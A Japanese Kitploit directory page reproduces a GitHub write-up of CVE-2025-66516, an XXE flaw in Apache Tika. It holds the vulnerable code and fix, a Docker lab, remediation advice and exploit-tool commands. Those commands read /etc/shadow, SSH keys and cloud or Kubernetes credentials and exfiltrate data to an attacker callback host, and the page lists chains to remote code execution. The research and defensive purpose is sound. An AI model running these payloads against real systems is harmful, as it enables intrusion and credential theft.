Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/chasingimpact/cve-2025-66516-writeup-poc
偵察脆弱性分析エクスプロイトウェブアプリケーション悪用データ流出ペネトレーションテスト学習と教育ラボと実践

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
CVE-2025-66516-Writeup-POC — CVE-2025-66516 動作するエクスプロイト、スキャナー、説明。 | Kitploit
GitHub
chasingimpact/cve-2025-66516-writeup-poc

CVE-2025-66516-Writeup-POC

CVE-2025-66516 動作するエクスプロイト、スキャナー、説明。

リポジトリを見る
1027ヶ月前未レビュー

CVE-2025-66516: Apache Tika における重大な XXE 脆弱性

画像

エグゼクティブサマリー

CVE-2025-66516 は、Apache Tika における重大な XML 外部実体参照 (XXE) インジェクションの脆弱性であり、CVSS スコア 10.0(最大深刻度)です。この脆弱性により、リモートの攻撃者は、悪意のある XFA (XML Forms Architecture) コンテンツを含む特別に細工された PDF ドキュメントをアップロードすることで、任意のファイルの読み取り、Server-Side Request Forgery (SSRF) の実行、機密データの外部送信が可能になります。

属性値
CVE IDCVE-2025-66516
CVSS スコア10.0(重大)
公開日2025年12月4日
ベンダーApache Software Foundation
影響を受ける製品Apache Tika
攻撃ベクトルネットワーク(リモート)
認証不要

影響を受けるバージョン

コンポーネント脆弱なバージョン修正版
tika-core1.13 - 3.2.13.2.2+
tika-parser-pdf-module2.0.0 - 3.2.13.2.2+
tika-parsers1.13 - 1.28.52.0.0+

重要: この CVE は、PDF モジュールのみが脆弱であると誤って特定していた CVE-2025-54988 を置き換えるものです。実際の脆弱性は tika-core に存在します。


技術的分析

脆弱性の詳細

この脆弱性は、Apache Tika が PDF ドキュメント内の XFA (XML Forms Architecture) データを処理する方法における XML 外部実体参照 (XXE) インジェクションの欠陥です。

問題点: Tika は、XFA XML コンテンツを読み取るために、基盤となる Java XML パーサー(具体的には StAX パーサー)に依存しています。脆弱なバージョンでは、外部実体の解決を無効にするようにパーサーを正しく設定できていませんでした。パーサーが外部実体リクエスト(SYSTEM "file:///etc/passwd" など)に遭遇すると、それを解決してファイルの内容を返します。

場所: このバグは tika-core の XMLReaderUtils.getXMLInputFactory() に存在します:

root@kitploit:~
public static XMLInputFactory getXMLInputFactory() {
    XMLInputFactory factory = XMLInputFactory.newFactory();
    tryToSetStaxProperty(factory, XMLInputFactory.IS_NAMESPACE_AWARE, true);
    tryToSetStaxProperty(factory, XMLInputFactory.IS_VALIDATING, false);
    factory.setXMLResolver(IGNORING_STAX_ENTITY_RESOLVER);  // <-- Ineffective
    return factory;
}

IGNORING_STAX_ENTITY_RESOLVER は、空の結果を返すことで XXE をブロックすることを意図していましたが、期待される InputStream ではなく String を返していました。JDK のデフォルト StAX パーサーは、この誤った戻り値の型を暗黙的に無視し、外部実体を解決するデフォルトの動作にフォールバックしました。

修正内容 (Tika 3.2.2)

この修正では、ファクトリーレベルで DTD と外部実体のサポートを明示的に無効にします:

root@kitploit:~
tryToSetStaxProperty(factory, XMLInputFactory.SUPPORT_DTD, false);
tryToSetStaxProperty(factory, XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);

さらに、リゾルバーは適切な InputStream 型を返すように変更されました。

付随的な Woodstox による保護

Java エコシステムには、複数の XML パーサーライブラリが存在します。アプリケーションは、クラスパス上で設定されているか、最初に見つかったパーサーを使用します。

Woodstox とは何か? Woodstox は、Java アプリケーションに一般的にバンドルされている、高性能なオープンソースの StAX XML パーサーです。

保護の仕組み: 偶然ではなく設計により、Woodstox の実装は XMLResolver の戻り値の型を正しく処理します。Woodstox が IGNORING_STAX_ENTITY_RESOLVER から文字列の戻り値を受け取ると、それを有効な空コンテンツとして扱い、XXE を効果的にブロックします。

重要な違い:

  • tika-server-standard.jar は Woodstox をバンドル - 脆弱ではない
  • tika-core + パーサーモジュール(組み込み利用)は Woodstox をバンドルしない - 脆弱
  • JDK のデフォルト StAX パーサーを使用するアプリケーション - 脆弱

クイックスタート

脆弱性のテスト

root@kitploit:~
# 1. Start the lab environment
docker-compose up -d --build

# 2. Test against vulnerable Tika (JDK StAX, port 9997)
python poc/exploit.py --url http://localhost:9997 --check

# 3. Extract /etc/passwd
python poc/exploit.py --url http://localhost:9997 --file /etc/passwd

# 4. Compare with protected Tika (Woodstox, port 9998)
python poc/exploit.py --url http://localhost:9998 --check

ラボ環境

ディレクトリ構造

root@kitploit:~
CVE-2025-66516/
|-- docker-compose.yml              # Lab orchestration
|-- vulnerable-tika/
|   |-- Dockerfile                  # Tika with Woodstox (protected)
|   +-- Dockerfile.jdk-stax         # Tika without Woodstox (VULNERABLE)
|-- webapp/
|   |-- Dockerfile
|   |-- app.py                      # Flask upload application
|   +-- templates/
|-- poc/
|   |-- exploit.py                  # Automated exploitation tool
|   +-- generate_payload.py         # Malicious PDF generator
+-- README.md

サービス

ラボの起動

root@kitploit:~
docker-compose up -d --build

概念実証 (PoC) ツール

1. 自動化されたエクスプロイトツール (exploit.py)

自動ペイロード生成とデータ抽出によるフルチェーンエクスプロイト。

root@kitploit:~
# Check if target is vulnerable
python poc/exploit.py --url http://target:9998 --check

# Read local files
python poc/exploit.py --url http://target:9998 --file /etc/passwd
python poc/exploit.py --url http://target:9998 --file /etc/shadow

# AWS metadata theft (EC2 instances)
python poc/exploit.py --url http://target:9998 --aws-metadata

# Kubernetes secrets
python poc/exploit.py --url http://target:9998 --k8s-secrets

# SSRF to internal services
python poc/exploit.py --url http://target:9998 --ssrf http://internal:8080/admin

# Save extracted data
python poc/exploit.py --url http://target:9998 --file /etc/passwd --save loot.txt

2. ペイロードジェネレーター (generate_payload.py)

手動テストや他のツールとの統合のための悪意のある PDF ファイルを生成します。

root@kitploit:~
# Generate payload for specific file
python poc/generate_payload.py --target /etc/passwd --output exploit.pdf

# Generate SSRF payload
python poc/generate_payload.py --target http://169.254.169.254/latest/meta-data/ --output ssrf.pdf

# Generate OOB exfiltration payload
python poc/generate_payload.py --target /etc/passwd --callback http://attacker:8080 --output oob.pdf

# Use attack mode presets
python poc/generate_payload.py --mode aws_metadata --output aws.pdf
python poc/generate_payload.py --mode k8s_secrets --all-targets --output ./payloads/

# List available attack modes
python poc/generate_payload.py --list-modes

利用可能な攻撃モード:

  • file_read - ローカルファイルを読み取る(/etc/passwd、/etc/shadow など)
  • ssh_keys - SSH 秘密鍵を窃取する
  • aws_metadata - AWS EC2 メタデータと IAM 認証情報
  • gcp_metadata - GCP サービスアカウントトークン
  • azure_metadata - Azure マネージド ID トークン
  • k8s_secrets - Kubernetes サービスアカウントの認証情報
  • webapp_configs - 一般的な Web アプリケーション設定
  • ssrf_internal - 内部サービスを調査する

テスト結果

脆弱な構成 (JDK StAX - Woodstox なし)

Woodstox なしの Tika 2.9.2 に対するテスト(組み込みデプロイをシミュレート):

テスト結果
XFA 検出[PASS] PDF が XFA を持つものとして認識された
XFA 解析[PASS] XFA コンテンツが抽出された
XXE ファイル読み取り[VULNERABLE] /etc/passwd の内容が外部送信された
XXE SSRF[VULNERABLE] 外部リクエストが送信された

悪用の証明:

root@kitploit:~
<li fieldName="data">data: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

保護された構成 (Woodstox StAX)

Woodstox ありの Tika 2.9.2 に対するテスト(標準の tika-server-standard.jar):

テスト結果
XFA 検出[PASS] PDF が XFA を持つものとして認識された
XFA 解析[PASS] XFA コンテンツが抽出された
XXE ファイル読み取り[BLOCKED] 外部実体が解決されなかった
XXE SSRF[BLOCKED] 外部への接続なし

出力は空のエンティティを示します:

root@kitploit:~
<li fieldName="data">data: </li>

結論

この脆弱性は現実のものであり、深刻です。悪用可能性は StAX 実装に依存します:

  • [PROTECTED] tika-server-standard.jar - バンドルされた Woodstox が XXE をブロック
  • [VULNERABLE] 組み込み Tika(tika-core + parsers)- デフォルトで JDK StAX を使用
  • [VULNERABLE] Woodstox なしのカスタムデプロイ
  • [VULNERABLE] エンタープライズ統合(Elasticsearch、Solr、Alfresco)- 組み込み Tika を使用することが多い

XXE 攻撃の能力

XXE は根本的には ファイル読み取り/SSRF の脆弱性であり、直接的な RCE ではありません。ただし、いくつかの攻撃経路を可能にします:

直接攻撃

攻撃ペイロード例
ファイル読み取りSYSTEM "file:///etc/passwd"
SSRFSYSTEM "http://internal:8080/admin"
AWS メタデータSYSTEM "http://169.254.169.254/latest/meta-data/"

RCE への昇格

シナリオ攻撃経路
AWS EC2XXE -> メタデータへの SSRF -> IAM 認証情報 -> AWS CLI RCE
KubernetesXXE -> サービスアカウントトークンの読み取り -> kubectl exec

修復策

即時対応

  1. Apache Tika をバージョン 3.2.2 以降にアップグレードする

    root@kitploit:~
    <dependency>
        <groupId>org.apache.tika</groupId>
        <artifactId>tika-core</artifactId>
        <version>3.2.2</version>
    </dependency>
    
  2. すべての Tika コンポーネントが更新されていることを確認する(tika-core とパーサーモジュールの両方)

リスク評価

デプロイタイプリスクレベル
tika-server-standard.jar低 - Woodstox が緩和
組み込み Tika(ライブラリ利用)高 - 脆弱である可能性が高い
Woodstox なしのカスタム高 - 脆弱

多層防御

  1. 入力検証 - アップロードされたファイルタイプを検証する
  2. ネットワーク分離 - Tika の処理を分離する
  3. 最小権限 - ファイルシステムの権限を最小限にする
  4. 監視 - 異常なファイルアクセスを警告する

研究の道のり

遭遇した問題

問題 1: 最初のエクスプロイトは動作しなかった

  • XFA は検出されたが、XXE はトリガーされなかった
  • ペイロード構造のデバッグに時間を費やした

問題 2: 複数の XML 宣言エラー

  • エラー: WstxParsingException: Illegal processing instruction target ("xml")
  • 原因: 各 XFA ストリームに XML 宣言が含まれていた
  • 修正: 宣言はプリアンブルにのみ含め、サブストリームには含めない

問題 3: Woodstox の謎

  • すべてのペイロードが tika-server-standard.jar に対して失敗した
  • Woodstox がバンドルされており XXE をブロックしていることを発見した
  • Woodstox なしでテストするために Dockerfile.jdk-stax を作成した

問題 4: 間違った構成でのテスト

  • 保護された構成で時間を無駄にした
  • 教訓: テスト前に完全な依存関係ツリーを理解する

学んだ教訓

  1. CVSS スコアには文脈が必要 - 環境要因が悪用可能性に影響する
  2. 最小構成でテストする - バンドルされた依存関係を想定しない
  3. XML パーサーは大きく異なる - 同じコードでもパーサーが異なれば動作が異なる
  4. 組み込み != サーバー - ライブラリ利用では依存関係が異なることが多い
  5. エラーメッセージは手掛かり - パーサーの例外は実装の詳細を明らかにする

参照

  • Apache Tika セキュリティ勧告
  • 修正コミット
  • NVD エントリ
  • Apache Tika メーリングリストの議論

タイムライン

日付イベント
2025年8月CVE-2025-54988 が公開(範囲が不完全)
2025年12月4日CVE-2025-66516 が公開(完全な範囲が特定)
2025年12月4日修正を含む Apache Tika 3.2.2 がリリース

免責事項

このラボ環境と概念実証コードは、認可されたセキュリティテスト、教育目的、および防御研究のみを目的として提供されています。

明示的な書面による許可なしに、これらのツールをシステムに対して使用しないでください。

ライセンス

この研究資料は教育目的で提供されています。責任を持って使用してください。

ツールをダウンロード
サービス
ポート
説明
Web アプリケーション8080ドキュメントアップロード用フロントエンド
Tika (Woodstox)9998保護あり - 脆弱ではない
Tika (JDK StAX)9997脆弱 - Woodstox なし
攻撃者リスナー9999OOB テスト用 HTTP サーバー
内部 JenkinsXXE -> スクリプトコンソールへの SSRF -> Groovy RCE
データベースXXE -> 設定ファイルの読み取り -> データベースアクセス
SSHXXE -> SSH 鍵の読み取り -> リモートシェルアクセス